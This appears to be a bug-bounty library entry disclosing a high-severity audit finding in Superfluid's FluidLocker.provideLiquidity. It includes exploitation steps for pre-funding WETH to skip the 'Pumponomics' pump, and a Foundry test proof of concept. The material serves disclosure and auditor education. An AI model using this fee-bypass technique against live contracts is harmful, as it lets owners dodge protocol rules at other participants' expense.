# Pumponomics can be skipped when using FluidLocker::provideLiquidity

FluidLocker::provideLiquidity pumps only msg.value but uses entire WETH balance, letting owners pre-fund WETH to skip Pumponomics buy-pressure.

- Payout: Audit contest
- Severity: high
- Program: Superfluid
- Found by: 0x73696d616f
- Disclosed: 2025-06-02
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2025-06-superfluid-locker-system-judging/issues/210
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-06-superfluid-locker-system%3AH-2
- Tags: area:web3 domain:web3 impact:integrity kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:business-logic vuln:fee-bypass

**Target:** FluidLocker.provideLiquidity (Solidity contract)
**Root cause:** provideLiquidity pumps only the ETH sent in the call (msg.value) but creates the Uniswap position using the contract's entire WETH balance, so pre-transferred WETH is used without being pumped.
**Steps:**
1. Locker owner calls `WETH9.deposit{value: X}()` then `WETH9.transfer(locker, X)` to pre-fund the locker with WETH.
2. Owner calls `locker.provideLiquidity{value: 100}(supAmount)` with dust ETH and normal SUP amount.
3. Position is created using all WETH in the locker, but `_pump` only processes the 100 wei msg.value.
**How found:** Code reading of provideLiquidity: noticed the pump uses msg.value while position creation uses the contract's full WETH balance, enabling a mismatch.
**Exploitation:** Locker owner pre-funds WETH directly to the locker, then calls provideLiquidity with a dust ETH amount; the Uniswap position is funded by the pre-transferred WETH while Pumponomics only pumps the dust amount, bypassing the intended buy-pressure.
**Insight:** When a function both charges a fee/pump on msg.value and spends the contract's token balance, check whether pre-funding the contract lets you decouple the charged amount from the spent amount.

## Proof of concept (copied exactly from the original report)

**Test skipping Pumponomics via direct WETH transfer**

```
function testSkipPumponomics()
    external
    virtual
    {
        uint fundingAmount = 100e18;
        // Set up Alice's Locker to be functional
        // i. e. not revert due to "lack of funds", "no LP pool units", "no staker pool units", etc.
        _helperFundLocker(address(aliceLocker), fundingAmount);
        _helperLockerStake(address(bobLocker));
        _helperLockerProvideLiquidity(address(carolLocker));

        //Alice transfer the eth into locker via a plain call
        //Then call provideLiquidity with dust amount of eth
        //Therefore the pump function only pumps the dust eth amount, but the position is created with all eth in locker
        uint ethAmount = fundingAmount / (2 * 9900);
        address weth = _nonfungiblePositionManager.WETH9();
        vm.startPrank(ALICE);
        IWETH9(weth).deposit{ value: ethAmount }();
        IWETH9(weth).transfer(address(aliceLocker), ethAmount);
        aliceLocker.provideLiquidity{ value: 100 }(fundingAmount);
        vm.stopPrank();

        // Only a dust amount of eth has been pumped
        assertEq(FluidLocker(payable(address(aliceLocker))).ethPumped(), 1);
        // However, a position is opened with basically all the eth in the locker
        assertGt(FluidLocker(payable(address(aliceLocker))).activePositionCount(), 0);
        assertApproxEqAbs(0,
            IWETH9(weth).balanceOf(address(aliceLocker)),
            fundingAmount * 5 / 100 // 5% tolerance
        );
    }
```

